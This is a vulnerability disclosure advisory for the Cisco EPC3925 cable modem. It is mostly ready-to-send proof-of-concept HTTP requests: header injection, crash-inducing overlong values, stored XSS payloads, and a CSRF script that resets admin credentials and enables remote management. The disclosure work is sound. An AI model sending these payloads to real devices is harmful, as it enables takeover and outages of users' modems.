# Title: Cisco EPC 3925 Multiple Vulnerabilities # Vendor: http://www.cisco.com/ # Vulnerable Version(s): Cisco EPC3925 (EuroDocsis 3.0 2-PORT Voice Gateway) # Date: 15.09.2016 # Author: Patryk Bogdan ======== Vulnerability list: 1. HTTP Response Injection via 'Lang' Cookie 2. DoS via 'Lang' Cookie 3. DoS in Wireless Client List via 'h_sortWireless' 4. (Un)authorized modem restart (Channel Selection) 5. CSRF 6. Stored XSS in SMTP Settings (Administration -> Reportning) 7. Stored XSS in User Name #1 (e.g Administration -> Managment / Setup -> Quick Setup) 8. Stored XSS in User Name #2 (Access Restrictions -> User Setup) 9. Stored XSS in ToD Filter (Access Restrictions -> Time of Day Rules) 10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules) 11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules) 12. Stored XSS in Network Name (e.g Wireless -> Basic Settings) 13. Stored XSS in DDNS Settings (Setup -> DDNS) 14. Stored XSS in Advanced VPN Setup (Security -> VPN -> Advanced Settings) ======== 1. HTTP Response Injection It is able to inject arbitrary data into device memory via 'Lang' cookie, additional data will be stored until modem restart and will be returned with every http response. #1 - Request: POST /goform/Docsis_system HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Docsis_system.asp Cookie: Lang=en; SessionID=171110 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 109 username_login=aaa&password_login=bbb&LanguageSelect=en%0d%0aSet-Cookie: pwned&Language_Submit=0&login=Log+In #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Docsis_system.asp Content-type: text/html Connection: close (...) #2 - Request: GET / HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Set-Cookie: Lang=en Set-Cookie: pwned Set-Cookie: SessionID=219380 Content-Length: 1398 (...) 2. DoS via 'Lang' Cookie Modem crashes when cookie variable in request is too long. #1 - Request (crash via http injection): POST /goform/Docsis_system HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Docsis_system.asp Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 142 username_login=aaa&password_login=bbb&LanguageSelect=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Docsis_system.asp Content-type: text/html Connection: close #2 - Request: GET /Docsis_system.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Docsis_system.asp Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Set-Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Set-Cookie: SessionID=163190 Content-Length: 18743 (...) At this point modem crashes: C:\Users\Patryk>ping -n 10 192.168.100.1 Pinging 192.168.100.1 with 32 bytes of data: Request timed out. Request timed out. Reply from 192.168.0.10: Destination host unreachable. Reply from 192.168.0.10: Destination host unreachable. Reply from 192.168.0.10: Destination host unreachable. Reply from 192.168.0.10: Destination host unreachable. (...) DoS can be also executed with single HTTP request, like this: GET / HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/ Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; SessionID=163190 Connection: close 3. DoS in Wireless Client List via 'h_sortWireless' Modem crashes when variable for POST parameter 'h_sortWireless' is too long. #1 - Request: POST /goform/WClientMACList HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/WClientMACList.asp Cookie: Lang=en; SessionID=71750 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 94 sortWireless=status&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/WClientMACList.asp Content-type: text/html Connection: close ( ... crash ... ) 4. (Un)authorized channel Selection On Cisco 3925 unauthorized user can edit device channel settings and restart the modem. Such functionality should be available only for logged users, for example it's disabled on EPC 3928. 5. CSRF There is no prevention against CSRF attacks, attacker can for example change admin credentials and enable remote managment in single request. PoC: <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.100.1/goform/Administration";, true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=admin&sysPasswd=newpass&sysConfirmPasswd=newpass&remote_management=enable&http_wanport=8080&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=enable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); </script> 6. Stored XSS in Administration -> Reporting #1 - Request: POST /goform/Log HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Log.asp Cookie: Lang=en; SessionID=457480 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 236 email_enable=enable&smtp_server=%22+onmouseover%3Dalert%281%29+x%3D%22y&email_for_log=%22+onmouseover%3Dalert%282%29+x%3D%22y&SmtpUsername=%22+onmouseover%3Dalert%283%29+x%3D%22y&SmtpPassword=aaa&save=Save+Settings&h_email_enable=enable #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Log.asp Content-type: text/html Connection: close #2 - Request: GET /Log.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Log.asp Cookie: Lang=en; SessionID=457480 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 6454 (...) <TD> <input type="text" name="smtp_server" maxlength="255" size="30" value="" onmouseover=alert(1) x="y" /> </TD> </TR> <tr> <TD> <script language="javascript" type="text/javascript">dw(va_log_email3);</script> </TD> <TD> <input type="text" name="email_for_log" maxlength="255" size="30" value="" onmouseover=alert(2) x="y"/> </TD> </TR> <tr> <TD> <script language="javascript" type="text/javascript">dw(msg_smtp_username);</script> </TD> <TD> <input type="text" name="SmtpUsername" maxlength="255" size="30" value="" onmouseover=alert(3) x="y" /> </TD> </TR> (...) 7. Stored XSS in User Name (Administration -> Managment / Setup -> Quick Setup) #1 - Request: POST /goform/Administration HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Administration.asp Cookie: Lang=en; SessionID=457480 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 746 connection_mode=0&saRgIpMgmtWanDualIpAddrIP0=0&saRgIpMgmtWanDualIpAddrIP1=0&saRgIpMgmtWanDualIpAddrIP2=0&saRgIpMgmtWanDualIpAddrIP3=0&saRgIpMgmtWanDualIpRipAdvertised=0x0&wan_ip_1=0&wan_ip_2=0&wan_ip_3=0&wan_ip_4=0&wan_mask_1=0&wan_mask_2=0&wan_mask_3=0&wan_mask_4=0&wan_gw_1=0&wan_gw_2=0&wan_gw_3=0&wan_gw_4=0&Host_Name=&Domain_Name=&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns1_4=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_dns2_4=0&wan_mtuSize=0&sysname=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sysPasswd=aaa&sysConfirmPasswd=aaa&remote_management=disable&upnp_enable=disable&save=Save+Settings&preWorkingMode=1&h_remote_management=disable&h_check_WebAccessUserIfLevel=2&h_upnp_enable=disable&h_wlan_enable=enable&h_user_type=common #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Quick_setup.asp Content-type: text/html Connection: close #2 - Request: GET /Quick_setup.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Administration.asp Cookie: Lang=en; SessionID=457480 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 34779 (...) <tr> <td nowrap> <script language="javascript" type="text/javascript">dw(va_local_access2);</script> </td> <td nowrap> <script>alert('XSS')</script> </td> </tr> (...) 8. Stored XSS in User Name #2 (Access Restrictions -> User Setup) #1 - Request: POST /goform/Rg_UserSetup HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_UserSetup.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 118 NewUser=user onmouseover=alert('XSS')&Btn_AddUser=Add+User&AddUser=1&UserList=Default&RemoveUser=0&UserConfigChanged=0 #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Rg_UserSetup.asp Content-type: text/html Connection: close #2 - Request: GET /Rg_UserSetup.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_UserSetup.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 9706 (...) <select onchange="submit();" name="UserList"> <option value=Default >1. Default<option value=user onmouseover=alert('XSS') selected>2. user onmouseover=alert('XSS </select> (...) 9. Stored XSS in ToD Filter #1 - Request: POST /goform/Rg_TodFilter HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_TodFilter.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 189 TodClient=<script>alert('XSS')</script>&TodAdd=Add&addTodClient=1&ToDComputers=No+filters+entered.&removeTodClient=&StartHour=12&StartMinute=00&StartAmPm=1&EndHour=12&EndMinute=00&EndAmPm=1 #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Rg_TodFilter.asp Content-type: text/html Connection: close #2 - Request: GET /Rg_TodFilter.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_TodFilter.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 9140 (...) <select name="ToDComputers" onChange="submit();"> <option value=0 selected>1. <script>alert('XSS')</script> </select> (...) 10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules) #1 - Request: POST /goform/Rg_ParentalBasic HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_ParentalBasic.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 282 NewContentRule=<script>alert('XSS')</script>&AddRule=Add+Rule&AddContentRule=1&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=&AllowedDomainAction=0&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30 #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Rg_ParentalBasic.asp Content-type: text/html Connection: close #2 - Request: GET /Rg_ParentalBasic.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_ParentalBasic.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 11126 (...) <select name="ContentRules" onChange="submit();"> <option value=0 selected>1. Default<option value=1 >2. <script>alert('XSS')</script> </select> (...) 11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules) #1 - Request: POST /goform/Rg_ParentalBasic HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_ParentalBasic.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 318 NewContentRule=&AddContentRule=&ContentRules=0&RemoveContentRule=0&NewKeyword=&KeywordAction=0&NewDomain=&DomainAction=0&NewAllowedDomain=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&AddAllowedDomain=Add+Allowed+Domain&AllowedDomainAction=1&ParentalPassword=*******&ParentalPasswordReEnter=*******&AccessDuration=30 #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Rg_ParentalBasic.asp Content-type: text/html Connection: close #2 - Request: GET /Rg_ParentalBasic.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Rg_ParentalBasic.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 10741 (...) <select name="AllowedDomainList" size=5> <option value="1"><script>alert('XSS')</script> </select> (...) 12. Stored XSS in Network Name (e.g Wireless -> Basic Settings) #1 - Request: POST /goform/Quick_setup HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Quick_setup.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 371 Password=&PasswordReEnter=&setup_wifi_enable=enable&ssid=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&security_mode=psk2_mixed&wpa_enc=tkip%2Baes&wpa_psk_key=231503725&radius_ip_1=0&radius_ip_2=0&radius_ip_3=0&radius_ip_4=0&keysize=64&tx_key=1&save=Save+Settings&h_setup_wifi_enable=enable&h_security_mode=psk2_mixed&h_wpa_enc=tkip%2Baes&qs_wds_setting=disable&UserId= #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Quick_setup.asp Content-type: text/html Connection: close #2 - Request: GET /Wireless.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Quick_setup.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 51653 (...) <tr> <td> <B><script language="javascript" type="text/javascript">dw(vwnetwork_name);</script></B> </td> <td colspan="2"> <script>alert('XSS')</script> </td> </tr> (...) 13. Stored XSS in DDNS Settings (Setup -> DDNS) #1 - Request: POST /goform/Setup_DDNS HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Setup_DDNS.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 154 DdnsService=0&DdnsUserName=user" onmouseover=alert('XSS_1') x="&DdnsPassword=aaa x="&DdnsHostName=host" onmouseover=alert('XSS_2') x="y&save=Save+Settings #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/Setup_DDNS.asp Content-type: text/html Connection: close #2 - Request: GET /Setup_DDNS.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/Setup_DDNS.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 5738 (...) <td> <input name="DdnsUserName" type="text" size="16" maxlength="64" value="user" onmouseover=alert('XSS_1') x="" /> </td> (...) <td> <input name="DdnsHostName" type="text" size="32" maxlength="256" value="host" onmouseover=alert('XSS_2') x="y" /> </td> (...) 14. Stored XSS in Adv. VPN Setup (Security -> VPN -> Advanced Settings) #1 - Request: POST /goform/vpn_adv HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/vpn_adv.asp Cookie: Lang=en; SessionID=1320560 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 286 NegotiationMode=0&LocalIdentityType=2&LocalIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&RemoteIdentityType=2&RemoteIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&Phase1Encryption=2&Phase1Authentication=1&Phase1DhGroup=0&Phase1SaLifetime=28800&Phase2DhGroup=0 #1 - Response: HTTP/1.0 302 Redirect Server: PS HTTP Server Location: http://192.168.100.1/vpn_adv.asp Content-type: text/html Connection: close #2 - Request: GET /vpn_adv.asp HTTP/1.1 Host: 192.168.100.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://192.168.100.1/vpn_adv.asp Cookie: Lang=en; SessionID=1320560 Connection: close #2 - Response: HTTP/1.1 200 OK Content-type: text/html Expires: Thu, 3 Oct 1968 12:00:00 GMT Pragma: no-cache Cache-Control: no-cache, must-revalidate Connection: close Content-Length: 10179 (...) <td> <input type="radio" name="LocalIdentityType" value="2" onClick="LocalIdentityTypeClicked();" /> <script language="javascript" type="text/javascript">dw(vs_identity_name);</script> <input type="text" name="LocalIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" /> </td> (...) <tr> <td> <input type="radio" name="RemoteIdentityType" value="2" onClick="RemoteIdentityTypeClicked();"> <script language="javascript" type="text/javascript">dw(vs_identity_name);</script> <input type="text" name="RemoteIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" /> </td> </tr> (...)
